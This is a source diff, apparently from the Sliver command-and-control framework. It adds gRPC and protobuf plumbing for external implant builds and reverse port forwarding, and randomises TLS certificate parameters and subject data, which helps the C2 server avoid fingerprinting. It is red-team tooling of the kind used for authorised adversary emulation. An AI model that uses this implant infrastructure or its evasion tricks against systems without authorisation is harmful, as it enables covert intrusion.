return pool[insecureRand.Intn(len(pool))]()
}
var (
@@ -46,7 +46,7 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
Send: send,
Recv: recv,
ctrl: ctrl,
tunnels: &map[uint64]*Tunnel{},
tunnels: map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
once: &sync.Once{},
IsOpen: true,
File diff suppressed because it is too large. Load diff
+18
View File
@@ -45,6 +45,7 @@ message Session {
repeated string Extensions = 23;
// string ConfigID = 24;
int64 PeerID = 25;
string Locale = 26;
}
message Beacon {
@@ -76,6 +77,8 @@ message Beacon {
int64 TasksCount = 26;
int64 TasksCountCompleted = 27;
string Locale = 28;
}
message Beacons {
@@ -110,6 +113,7 @@ enum OutputFormat {
SHELLCODE = 1;
EXECUTABLE = 2;
SERVICE = 3;
EXTERNAL = 4;
}
message ImplantConfig {
@@ -165,6 +169,18 @@ message ImplantConfig {
bool RunAtLoad = 105;
}
message ExternalImplantConfig {
string Name = 1;
ImplantConfig Config = 2;
string OTPSecret = 3;
}
message ExternalImplantBinary {
string Name = 1;
string ImplantConfigID = 2;
commonpb.File File = 3;
}
// Configs of previously built implants
message ImplantBuilds {
map<string, ImplantConfig> Configs = 1;
@@ -598,6 +614,8 @@ message Host {
repeated IOC IOCs = 4;
map<string, ExtensionData> ExtensionData = 5;
string Locale = 6;
}
message AllHosts {
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.21.5
// protoc v3.21.6
// source: commonpb/common.proto
package commonpb
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.21.5
// protoc v3.21.6
// source: dnspb/dns.proto
package dnspb
File diff suppressed because it is too large. Load diff
+6
View File
@@ -66,6 +66,9 @@ service SliverRPC {
// *** Implants ***
rpc Generate(clientpb.GenerateReq) returns (clientpb.Generate);
rpc GenerateExternal(clientpb.GenerateReq) returns (clientpb.ExternalImplantConfig);
rpc GenerateExternalSaveBuild(clientpb.ExternalImplantBinary) returns (commonpb.Empty);
rpc GenerateExternalGetImplantConfig(clientpb.ImplantConfig) returns (clientpb.ExternalImplantConfig);
rpc Regenerate(clientpb.RegenerateReq) returns (clientpb.Generate);
rpc ImplantBuilds(commonpb.Empty) returns (clientpb.ImplantBuilds);
rpc DeleteImplantBuild(clientpb.DeleteReq) returns (commonpb.Empty);
@@ -144,6 +147,9 @@ service SliverRPC {
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
rpc StartRportFwdListener(sliverpb.RportFwdStartListenerReq) returns (sliverpb.RportFwdListener);
rpc GetRportFwdListeners(sliverpb.RportFwdListenersReq) returns (sliverpb.RportFwdListeners);
rpc StopRportFwdListener(sliverpb.RportFwdStopListenerReq) returns (sliverpb.RportFwdListener);
// Beacon only commands
rpc OpenSession(sliverpb.OpenSession) returns (sliverpb.OpenSession);
+216
View File
@@ -67,6 +67,9 @@ type SliverRPCClient interface {
HostIOCRm(ctx context.Context, in *clientpb.IOC, opts ...grpc.CallOption) (*commonpb.Empty, error)
// *** Implants ***
Generate(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
GenerateExternal(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error)
GenerateExternalSaveBuild(ctx context.Context, in *clientpb.ExternalImplantBinary, opts ...grpc.CallOption) (*commonpb.Empty, error)
GenerateExternalGetImplantConfig(ctx context.Context, in *clientpb.ImplantConfig, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error)
Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error)
ImplantBuilds(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ImplantBuilds, error)
DeleteImplantBuild(ctx context.Context, in *clientpb.DeleteReq, opts ...grpc.CallOption) (*commonpb.Empty, error)
@@ -140,6 +143,9 @@ type SliverRPCClient interface {
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
StartRportFwdListener(ctx context.Context, in *sliverpb.RportFwdStartListenerReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListener, error)
GetRportFwdListeners(ctx context.Context, in *sliverpb.RportFwdListenersReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListeners, error)
StopRportFwdListener(ctx context.Context, in *sliverpb.RportFwdStopListenerReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListener, error)
// Beacon only commands
OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error)
CloseSession(ctx context.Context, in *sliverpb.CloseSession, opts ...grpc.CallOption) (*commonpb.Empty, error)
@@ -483,6 +489,33 @@ func (c *sliverRPCClient) Generate(ctx context.Context, in *clientpb.GenerateReq
return out, nil
}
func (c *sliverRPCClient) GenerateExternal(ctx context.Context, in *clientpb.GenerateReq, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error) {
out := new(clientpb.ExternalImplantConfig)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternal", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) GenerateExternalSaveBuild(ctx context.Context, in *clientpb.ExternalImplantBinary, opts ...grpc.CallOption) (*commonpb.Empty, error) {
out := new(commonpb.Empty)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternalSaveBuild", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) GenerateExternalGetImplantConfig(ctx context.Context, in *clientpb.ImplantConfig, opts ...grpc.CallOption) (*clientpb.ExternalImplantConfig, error) {
out := new(clientpb.ExternalImplantConfig)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GenerateExternalGetImplantConfig", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) Regenerate(ctx context.Context, in *clientpb.RegenerateReq, opts ...grpc.CallOption) (*clientpb.Generate, error) {
out := new(clientpb.Generate)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Regenerate", in, out, opts...)
@@ -1113,6 +1146,33 @@ func (c *sliverRPCClient) GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq
return out, nil
}
func (c *sliverRPCClient) StartRportFwdListener(ctx context.Context, in *sliverpb.RportFwdStartListenerReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListener, error) {
out := new(sliverpb.RportFwdListener)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StartRportFwdListener", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) GetRportFwdListeners(ctx context.Context, in *sliverpb.RportFwdListenersReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListeners, error) {
out := new(sliverpb.RportFwdListeners)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/GetRportFwdListeners", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) StopRportFwdListener(ctx context.Context, in *sliverpb.RportFwdStopListenerReq, opts ...grpc.CallOption) (*sliverpb.RportFwdListener, error) {
out := new(sliverpb.RportFwdListener)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/StopRportFwdListener", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) OpenSession(ctx context.Context, in *sliverpb.OpenSession, opts ...grpc.CallOption) (*sliverpb.OpenSession, error) {
out := new(sliverpb.OpenSession)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/OpenSession", in, out, opts...)
@@ -1410,6 +1470,9 @@ type SliverRPCServer interface {
HostIOCRm(context.Context, *clientpb.IOC) (*commonpb.Empty, error)
// *** Implants ***
Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error)
GenerateExternal(context.Context, *clientpb.GenerateReq) (*clientpb.ExternalImplantConfig, error)
GenerateExternalSaveBuild(context.Context, *clientpb.ExternalImplantBinary) (*commonpb.Empty, error)
GenerateExternalGetImplantConfig(context.Context, *clientpb.ImplantConfig) (*clientpb.ExternalImplantConfig, error)
Regenerate(context.Context, *clientpb.RegenerateReq) (*clientpb.Generate, error)
ImplantBuilds(context.Context, *commonpb.Empty) (*clientpb.ImplantBuilds, error)
DeleteImplantBuild(context.Context, *clientpb.DeleteReq) (*commonpb.Empty, error)
@@ -1483,6 +1546,9 @@ type SliverRPCServer interface {
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
StartRportFwdListener(context.Context, *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error)
GetRportFwdListeners(context.Context, *sliverpb.RportFwdListenersReq) (*sliverpb.RportFwdListeners, error)
StopRportFwdListener(context.Context, *sliverpb.RportFwdStopListenerReq) (*sliverpb.RportFwdListener, error)
// Beacon only commands
OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error)
CloseSession(context.Context, *sliverpb.CloseSession) (*commonpb.Empty, error)
@@ -1619,6 +1685,15 @@ func (UnimplementedSliverRPCServer) HostIOCRm(context.Context, *clientpb.IOC) (*
func (UnimplementedSliverRPCServer) Generate(context.Context, *clientpb.GenerateReq) (*clientpb.Generate, error) {
return nil, status.Errorf(codes.Unimplemented, "method Generate not implemented")
}
func (UnimplementedSliverRPCServer) GenerateExternal(context.Context, *clientpb.GenerateReq) (*clientpb.ExternalImplantConfig, error) {
return nil, status.Errorf(codes.Unimplemented, "method GenerateExternal not implemented")
}
func (UnimplementedSliverRPCServer) GenerateExternalSaveBuild(context.Context, *clientpb.ExternalImplantBinary) (*commonpb.Empty, error) {
return nil, status.Errorf(codes.Unimplemented, "method GenerateExternalSaveBuild not implemented")
}
func (UnimplementedSliverRPCServer) GenerateExternalGetImplantConfig(context.Context, *clientpb.ImplantConfig) (*clientpb.ExternalImplantConfig, error) {
return nil, status.Errorf(codes.Unimplemented, "method GenerateExternalGetImplantConfig not implemented")
}
func (UnimplementedSliverRPCServer) Regenerate(context.Context, *clientpb.RegenerateReq) (*clientpb.Generate, error) {
return nil, status.Errorf(codes.Unimplemented, "method Regenerate not implemented")
}
@@ -1829,6 +1904,15 @@ func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHija
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetPrivs not implemented")
}
func (UnimplementedSliverRPCServer) StartRportFwdListener(context.Context, *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) {
return nil, status.Errorf(codes.Unimplemented, "method StartRportFwdListener not implemented")
}
func (UnimplementedSliverRPCServer) GetRportFwdListeners(context.Context, *sliverpb.RportFwdListenersReq) (*sliverpb.RportFwdListeners, error) {
return nil, status.Errorf(codes.Unimplemented, "method GetRportFwdListeners not implemented")
}
func (UnimplementedSliverRPCServer) StopRportFwdListener(context.Context, *sliverpb.RportFwdStopListenerReq) (*sliverpb.RportFwdListener, error) {
return nil, status.Errorf(codes.Unimplemented, "method StopRportFwdListener not implemented")
}
func (UnimplementedSliverRPCServer) OpenSession(context.Context, *sliverpb.OpenSession) (*sliverpb.OpenSession, error) {
return nil, status.Errorf(codes.Unimplemented, "method OpenSession not implemented")
}
@@ -2514,6 +2598,60 @@ func _SliverRPC_Generate_Handler(srv interface{}, ctx context.Context, dec func(
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_GenerateExternal_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.GenerateReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).GenerateExternal(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/GenerateExternal",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GenerateExternal(ctx, req.(*clientpb.GenerateReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_GenerateExternalSaveBuild_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.ExternalImplantBinary)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).GenerateExternalSaveBuild(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/GenerateExternalSaveBuild",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GenerateExternalSaveBuild(ctx, req.(*clientpb.ExternalImplantBinary))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_GenerateExternalGetImplantConfig_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.ImplantConfig)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).GenerateExternalGetImplantConfig(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/GenerateExternalGetImplantConfig",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GenerateExternalGetImplantConfig(ctx, req.(*clientpb.ImplantConfig))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Regenerate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.RegenerateReq)
if err := dec(in); err != nil {
@@ -3774,6 +3912,60 @@ func _SliverRPC_GetPrivs_Handler(srv interface{}, ctx context.Context, dec func(
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_StartRportFwdListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RportFwdStartListenerReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).StartRportFwdListener(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/StartRportFwdListener",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StartRportFwdListener(ctx, req.(*sliverpb.RportFwdStartListenerReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_GetRportFwdListeners_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RportFwdListenersReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).GetRportFwdListeners(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/GetRportFwdListeners",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).GetRportFwdListeners(ctx, req.(*sliverpb.RportFwdListenersReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_StopRportFwdListener_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.RportFwdStopListenerReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).StopRportFwdListener(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/StopRportFwdListener",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).StopRportFwdListener(ctx, req.(*sliverpb.RportFwdStopListenerReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_OpenSession_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.OpenSession)
if err := dec(in); err != nil {
@@ -4296,6 +4488,18 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "Generate",
Handler: _SliverRPC_Generate_Handler,
},
{
MethodName: "GenerateExternal",
Handler: _SliverRPC_GenerateExternal_Handler,
},
{
MethodName: "GenerateExternalSaveBuild",
Handler: _SliverRPC_GenerateExternalSaveBuild_Handler,
},
{
MethodName: "GenerateExternalGetImplantConfig",
Handler: _SliverRPC_GenerateExternalGetImplantConfig_Handler,
},
{
MethodName: "Regenerate",
Handler: _SliverRPC_Regenerate_Handler,
@@ -4576,6 +4780,18 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "GetPrivs",
Handler: _SliverRPC_GetPrivs_Handler,
},
{
MethodName: "StartRportFwdListener",
Handler: _SliverRPC_StartRportFwdListener_Handler,
},
{
MethodName: "GetRportFwdListeners",
Handler: _SliverRPC_GetRportFwdListeners_Handler,
},
{
MethodName: "StopRportFwdListener",
Handler: _SliverRPC_StopRportFwdListener_Handler,
},
{
MethodName: "OpenSession",
Handler: _SliverRPC_OpenSession_Handler,
+23 -1
View File
@@ -286,6 +286,18 @@ const (
MsgCurrentTokenOwner
// MsgInvokeInProcExecuteAssemblyReq - Request to load and execute a .NET assembly in-process
MsgInvokeInProcExecuteAssemblyReq
MsgRportFwdStopListenerReq
MsgRportFwdStartListenerReq
MsgRportFwdListener
MsgRportFwdListeners
MsgRportFwdListenersReq
MsgRPortfwdReq
)
// Constants to replace enums
@@ -501,7 +513,17 @@ func MsgNumber(request proto.Message) uint32 {
return MsgCurrentTokenOwner
case *InvokeInProcExecuteAssemblyReq:
return MsgInvokeInProcExecuteAssemblyReq
}
case *RportFwdStartListenerReq:
return MsgRportFwdStartListenerReq
case *RportFwdStopListenerReq:
return MsgRportFwdStopListenerReq
case *RportFwdListenersReq:
return MsgRportFwdListenersReq
case *RportFwdListeners:
return MsgRportFwdListeners
case *RPortfwdReq:
return MsgRPortfwdReq
}
return uint32(0)
}
File diff suppressed because it is too large. Load diff
+66 -1
View File
@@ -55,6 +55,7 @@ message Register {
string ProxyURL = 14;
string ConfigID = 16;
int64 PeerID = 17;
string Locale = 18;
}
message BeaconRegister {
@@ -729,7 +730,8 @@ message TunnelData {
uint64 Sequence = 3;
uint64 Ack = 4;
bool Resend = 5;
bool CreateReverse = 6;
RPortfwd rportfwd = 7;
uint64 TunnelID = 8 [jstype = JS_STRING];
string SessionID = 9;
}
@@ -1041,3 +1043,66 @@ message ListExtensions {
commonpb.Response Response = 9;
}
// *** RportFwd ***
message RportFwdStopListenerReq {
uint32 ID = 1;
commonpb.Request Request = 9;
}
message RportFwdStartListenerReq {
string BindAddress = 1;
uint32 BindPort = 2;
uint32 forwardPort = 3;
string forwardAddress = 4;
commonpb.Request Request = 9;
}
message RportFwdListener {
uint32 ID = 1;
string BindAddress = 2;
uint32 bindPort = 3;
string forwardAddress =4;
uint32 forwardPort = 5;
commonpb.Response Response = 9;
}
message RportFwdListeners {
repeated RportFwdListener Listeners = 1;
commonpb.Response Response = 9;
}
message RportFwdListenersReq {
commonpb.Request Request = 9;
}
message RPortfwd {
uint32 Port = 1;
int32 Protocol = 2;
string Host = 3;
uint64 TunnelID = 8 [jstype = JS_STRING]; // Bind to this tunnel
commonpb.Response Response = 9;
}
message RPortfwdReq {
uint32 Port = 1;
int32 Protocol = 2;
string Host = 3;
uint64 TunnelID = 8 [jstype = JS_STRING]; // Bind to this tunnel
commonpb.Request Request = 9;
}
+4 -4
View File
@@ -103,23 +103,23 @@ func StartWGListenerJob(listenPort uint16, nListenPort uint16, keyExchangeListen
}
if len(currentPeers) > oldNumPeers {
jobLog.Infof("New WG peers. Updating Wireguard config")
jobLog.Debugf("New WG peers. Updating Wireguard config")
oldNumPeers = len(currentPeers)
jobLog.Infof("Old WG config for peers: %s", currentWGConf.String())
jobLog.Debugf("Old WG config for peers: %s", currentWGConf.String())
for k, v := range currentPeers {
fmt.Fprintf(currentWGConf, "public_key=%s\n", k)
fmt.Fprintf(currentWGConf, "allowed_ip=%s/32\n", v)
}
jobLog.Infof("New WG config for peers: %s", currentWGConf.String())
jobLog.Debugf("New WG config for peers: %s", currentWGConf.String())
if err := dev.IpcSetOperation(bufio.NewReader(currentWGConf)); err != nil {
jobLog.Errorf("Failed to update Wireguard Config %s", err)
continue
}
jobLog.Infof("Successfully updated Wireguard config")
jobLog.Debugf("Successfully updated Wireguard config")
}
}
}
+2 -2
View File
@@ -20,7 +20,7 @@ package certs
import (
"os"
"path"
"path/filepath"
"github.com/bishopfox/sliver/server/log"
"golang.org/x/crypto/acme/autocert"
@@ -37,7 +37,7 @@ var (
// GetACMEDir - Dir to store ACME certs
func GetACMEDir() string {
acmePath := path.Join(getCertDir(), ACMEDirName)
acmePath := filepath.Join(getCertDir(), ACMEDirName)
if _, err := os.Stat(acmePath); os.IsNotExist(err) {
acmeLog.Infof("[mkdir] %s", acmePath)
os.MkdirAll(acmePath, 0700)
+8 -8
View File
@@ -25,7 +25,7 @@ import (
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"github.com/bishopfox/sliver/server/assets"
)
@@ -44,7 +44,7 @@ func SetupCAs() {
func getCertDir() string {
rootDir := assets.GetRootAppDir()
certDir := path.Join(rootDir, "certs")
certDir := filepath.Join(rootDir, "certs")
if _, err := os.Stat(certDir); os.IsNotExist(err) {
err := os.MkdirAll(certDir, 0700)
if err != nil {
@@ -57,7 +57,7 @@ func getCertDir() string {
// GenerateCertificateAuthority - Creates a new CA cert for a given type
func GenerateCertificateAuthority(caType string, commonName string) (*x509.Certificate, *ecdsa.PrivateKey) {
storageDir := getCertDir()
certFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
if _, err := os.Stat(certFilePath); os.IsNotExist(err) {
certsLog.Infof("Generating certificate authority for '%s'", caType)
cert, key := GenerateECCCertificate(caType, commonName, true, false)
@@ -104,9 +104,9 @@ func GetCertificateAuthority(caType string) (*x509.Certificate, *ecdsa.PrivateKe
// GetCertificateAuthorityPEM - Get PEM encoded CA cert/key
func GetCertificateAuthorityPEM(caType string) ([]byte, []byte, error) {
caType = path.Base(caType)
caCertPath := path.Join(getCertDir(), fmt.Sprintf("%s-ca-cert.pem", caType))
caKeyPath := path.Join(getCertDir(), fmt.Sprintf("%s-ca-key.pem", caType))
caType = filepath.Base(caType)
caCertPath := filepath.Join(getCertDir(), fmt.Sprintf("%s-ca-cert.pem", caType))
caKeyPath := filepath.Join(getCertDir(), fmt.Sprintf("%s-ca-key.pem", caType))
certPEM, err := ioutil.ReadFile(caCertPath)
if err != nil {
@@ -134,8 +134,8 @@ func SaveCertificateAuthority(caType string, cert []byte, key []byte) {
// CAs get written to the filesystem since we control the names and makes them
// easier to move around/backup
certFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
keyFilePath := path.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType))
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
keyFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-key.pem", caType))
err := ioutil.WriteFile(certFilePath, cert, 0600)
if err != nil {
+23 -10
View File
@@ -31,6 +31,7 @@ import (
"errors"
"fmt"
"math/big"
insecureRand "math/rand"
"net"
"time"
@@ -40,12 +41,6 @@ import (
)
const (
// RSAKeySize - Default size of RSA keys in bits
RSAKeySize = 2048 // This is plenty 4096 is overkill
// Certs are valid for ~3 Years, minus up to 1 year from Now()
validFor = 3 * (365 * 24 * time.Hour)
// ECCKey - Namespace for ECC keys
ECCKey = "ecc"
@@ -148,7 +143,9 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
var err error
// Generate private key
privateKey, err = ecdsa.GenerateKey(elliptic.P384(), rand.Reader)
curves := []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
curve := curves[randomInt(len(curves))]
privateKey, err = ecdsa.GenerateKey(curve, rand.Reader)
if err != nil {
certsLog.Fatalf("Failed to generate private key: %s", err)
}
@@ -158,7 +155,7 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
return generateCertificate(caType, subject, isCA, isClient, privateKey)
}
// GenerateRSACertificate - Generates a 2048 bit RSA Certificate
// GenerateRSACertificate - Generates an RSA Certificate
func GenerateRSACertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) {
certsLog.Debugf("Generating TLS certificate (RSA) for '%s' ...", commonName)
@@ -167,7 +164,7 @@ func GenerateRSACertificate(caType string, commonName string, isCA bool, isClien
var err error
// Generate private key
privateKey, err = rsa.GenerateKey(rand.Reader, RSAKeySize)
privateKey, err = rsa.GenerateKey(rand.Reader, rsaKeySize())
if err != nil {
certsLog.Fatalf("Failed to generate private key %s", err)
}
@@ -183,7 +180,7 @@ func generateCertificate(caType string, subject pkix.Name, isCA bool, isClient b
notBefore := time.Now()
days := randomInt(365) * -1 // Within -1 year
notBefore = notBefore.AddDate(0, 0, days)
notAfter := notBefore.Add(validFor)
notAfter := notBefore.Add(randomValidFor())
certsLog.Debugf("Valid from %v to %v", notBefore, notAfter)
// Serial number
@@ -297,3 +294,19 @@ func randomInt(max int) int {
i := binary.LittleEndian.Uint32(buf)
return int(i) % max
}
func randomValidFor() time.Duration {
validFor := 3 * (365 * 24 * time.Hour)
switch insecureRand.Intn(2) {
case 0:
validFor = 2 * (365 * 24 * time.Hour)
case 1:
validFor = 3 * (365 * 24 * time.Hour)
}
return validFor
}
func rsaKeySize() int {
rsaKeySizes := []int{4096, 2048}
return rsaKeySizes[randomInt(len(rsaKeySizes))]
}
+1 -1
View File
@@ -37,7 +37,7 @@ func HTTPSGenerateRSACertificate(host string) ([]byte, []byte, error) {
var err error
// Generate private key
privateKey, err = rsa.GenerateKey(rand.Reader, RSAKeySize)
privateKey, err = rsa.GenerateKey(rand.Reader, rsaKeySize())
if err != nil {
certsLog.Fatalf("Failed to generate private key %s", err)
return nil, nil, err
-1
View File
@@ -66,7 +66,6 @@ func OperatorServerGenerateCertificate(hostname string) ([]byte, []byte, error)
// OperatorClientListCertificates - Get all client certificates
func OperatorClientListCertificates() []*x509.Certificate {
operatorCerts := []*models.Certificate{}
dbSession := db.Session()
result := dbSession.Where(&models.Certificate{CAType: OperatorCA}).Find(&operatorCerts)
+325 -86
View File
@@ -16,6 +16,11 @@ package certs
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
------------------------------------------------------------------------
Use JARM if you want to fingerprint, don't rely on the subject, its sloppy.
*/
import (
@@ -23,101 +28,314 @@ import (
"fmt"
insecureRand "math/rand"
"strings"
"github.com/bishopfox/sliver/server/codenames"
)
var (
// State -> Localities -> Street Addresses
states = map[string]map[string][]string{
"": {
"": {""},
// Finally found a good use for Github Co-Pilot!
// Country -> State -> Localities -> Street Addresses
subjects = map[string]map[string]map[string][]string{
"US": {
"": {
"": {
"",
},
},
"Arizona": {
"Phoenix": {""},
"Mesa": {""},
"Scottsdale": {""},
"Chandler": {""},
},
"California": {
"San Francisco": {"", "", "Golden Gate"},
"Oakland": {""},
"Berkeley": {""},
"Palo Alto": {""},
"Los Angeles": {""},
"San Diego": {""},
"San Jose": {""},
"Sunnyvale": {""},
"Santa Clara": {""},
"Mountain View": {""},
"San Mateo": {""},
"Redwood City": {""},
"Menlo Park": {""},
"San Bruno": {""},
"San Carlos": {""},
"San Leandro": {""},
"San Rafael": {""},
"San Ramon": {""},
"Santa Monica": {""},
"Santa Rosa": {""},
"South San Francisco": {
"",
},
},
"Colorado": {
"Denver": {""},
"Boulder": {""},
"Aurora": {""},
"Fort Collins": {""},
},
"Connecticut": {
"New Haven": {""},
"Bridgeport": {""},
"Stamford": {""},
"Norwalk": {""},
},
"Washington": {
"Seattle": {""},
"Tacoma": {""},
"Olympia": {""},
"Spokane": {""},
},
"Florida": {
"Miami": {""},
"Orlando": {""},
"Tampa": {""},
"Jacksonville": {""},
},
"Illinois": {
"Chicago": {""},
"Aurora": {""},
"Naperville": {""},
"Peoria": {""},
},
"Indiana": {
"Indianapolis": {""},
"Fort Wayne": {""},
"Evansville": {""},
"South Bend": {""},
},
"Massachusetts": {
"Boston": {""},
"Worcester": {
"",
"Polytechnic Institute",
},
"Springfield": {""},
"Lowell": {""},
},
"Michigan": {
"Detroit": {""},
"Grand Rapids": {
"",
"State University",
},
"Warren": {""},
"Sterling Heights": {
"",
"Community College",
},
},
"Minnesota": {
"Minneapolis": {""},
"Saint Paul": {""},
"Bloomington": {""},
"Plymouth": {""},
},
"New Jersey": {
"Newark": {""},
"Jersey City": {
"",
"Institute of Technology",
},
"Paterson": {""},
"Elizabeth": {
"",
"Princeton",
},
},
"New York": {
"New York": {""},
"Buffalo": {""},
"Rochester": {
"",
"University",
},
"Yonkers": {""},
},
"North Carolina": {
"Charlotte": {""},
